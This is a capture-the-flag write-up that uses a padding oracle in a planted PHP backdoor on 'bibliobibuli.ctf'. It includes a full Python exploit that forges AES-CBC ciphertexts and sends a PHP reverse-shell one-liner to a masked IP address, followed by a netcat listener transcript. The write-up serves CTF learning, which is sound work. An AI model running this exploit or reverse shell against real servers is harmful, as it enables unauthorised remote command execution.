Introduction

For this challenge we are directed towards an RFC index at http://bibliobibuli.ctf which allows one to search through a catalog of RFCs each of which can be read at a URL of http://bibliobibuli.ctf/?f=rfcs/rfc1337.txt.

Finding the backdoor

Based on the format of the URLs it is natural to assume that the RFC are backed by files somewhere, and indeed it turns out that these files are accessible at http://bibliobibuli.ctf/rfcs/rfc1337.txt and even a directory listing is possible at http://bibliobibuli.ctf/rfcs/ and this reveals a x.php file in this directory which can be executed. Using the original RFC viewer it is possible to retrieve the file at http://bibliobibuli.ctf/?f=rfcs/x.php.

It turns out that this file is an already installed backdoor which, when called without parameters or session, generates a pair of encryption and decryption keys which are both stored in the session and sent back to the client under asymmetric encryption. When called with an active session and a POST parameter c it attempts to decrypt the contents of c with the sessions decryption key, execute the resultant command, and then encrypt the output of the command using the encryption key. The initial decryption happens using the PHP openssl_decrypt1 function in AES-256-CBC mode. If this decryption fails, the script returns 500 and dies. As this the AES-256-CBC mode does not contain any authenticity checks, the only way this can fail is with a padding error. This exposes a padding oracle

The exploit

As exploiting a padding oracle can generate a great deal of requests and take a fair amount of time, we cache results between execution to make development more tolerable and the organisers slightly more happy.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import json
from base64 import b64encode, b64decode
from pwn import xor

final_block = b'<<<SEGPHAULT!>>>'

s = requests.Session()
cookie = ''

def store_state():
    json.dump([
        zero_memo, cookie
    ], open('state', 'wt'))

try:
    zero_memo, cookie = json.load(open('state', 'rt'))
    s.cookies.set('PHPSESSID', cookie)
except:
    zero_memo = {}
    r = s.get('http://bibliobibuli.ctf/rfcs/x.php')
    cookie = str(s.cookies['PHPSESSID'])
    store_state()

First we perform initial setup. As we can choose the last block of our ciphertext freely, we pick something identifiable so that the organisers know who to complain to if we are hammering their services too hard. Then either load state from disk, if it exists, or we initialise a new session and zero-block memoization.

25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
def find_zero_block(final_block):
    if final_block.decode('latin1') in zero_memo:
        return bytes(zero_memo[final_block.decode('latin1')])
    known = [0] * 16
    for p in range(1, 17):
        i = 16 - p
        cand = list(known)
        for k in range(i + 1, 16):
            cand[k] ^= p
        for c in range(256):
            cand[i] = c
            r = s.post('http://bibliobibuli.ctf/rfcs/x.php', data={'c': b64encode(bytes(cand) + final_block)})
            if r.status_code == requests.codes.ok:
                known[i] = c ^ p
                break
    zero_memo[final_block.decode('latin1')] = known
    store_state()
    return bytes(known)

This is then the function which exploits the padding oracle. Stepping through the 16 possible paddings we determine what the value of the previous ciphertext block must be in order to generate a plaintext block of all-zeros. This works as the previous block of ciphertext is xor’d with the output of decrypting the current block of ciphertext to produce the plaintext. Thus any changes in the previous ciphertext are reflected in the current plaintext.2 We can xor our own content into this zero generating ciphertext in the next step to run commands.

44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
def run_cmd(cmd):
    enc = final_block
    needed = 16 - len(cmd) % 16
    if needed == 0:
        needed = 16
    cmd += bytes([needed] * needed)
    last = final_block
    for i in range(len(cmd) // 16 - 1, -1, -1):
        zeros = find_zero_block(last)
        blk = cmd[i*16:i*16+16]
        blk = xor(blk, zeros)
        enc = blk + enc
        last = blk
    r = s.post('http://bibliobibuli.ctf/rfcs/x.php', data={'c': b64encode(enc)})
    return b64decode(r.text)

Here we take the zero-block function and put it to work to execute a command. We start by applying padding to the command and then from the back generate zero-blocks using the padding oracle and xor our command into it.

60
run_cmd(b'\nphp -r \'$sock=fsockopen("XXX.XXX.XXX.XXX",9001);exec("sh <&3 >&3 2>&3");\'\n')

Finally we use all of this to deliver a PHP reverse shell as we have good reason to believe that PHP is installed. We start with a newline as the fixed IV of the backdoor forces us to have an initial block of garbage in the command which we need to not interfere with our shell.

$ nc -lvnp 9001
Listening on 0.0.0.0 9001
Connection received on XXX.XXX.XXX.XXX 42644
cat /flag

Profit!